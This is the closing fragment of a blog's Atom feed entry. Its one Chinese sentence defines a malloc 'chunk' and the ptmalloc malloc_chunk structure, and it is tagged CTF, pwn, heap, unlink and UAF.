<p>在程序的执行过程中,我们称由 malloc 申请的内存为 <code>chunk</code>
。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。</p>
</blockquote></summary>
<category term="CTF" scheme="http://summ2.link/categories/CTF/"/>
<category term="pwn" scheme="http://summ2.link/tags/pwn/"/>
<category term="heap" scheme="http://summ2.link/tags/heap/"/>
<category term="unlink" scheme="http://summ2.link/tags/unlink/"/>
<category term="UAF" scheme="http://summ2.link/tags/UAF/"/>
</entry>
</feed>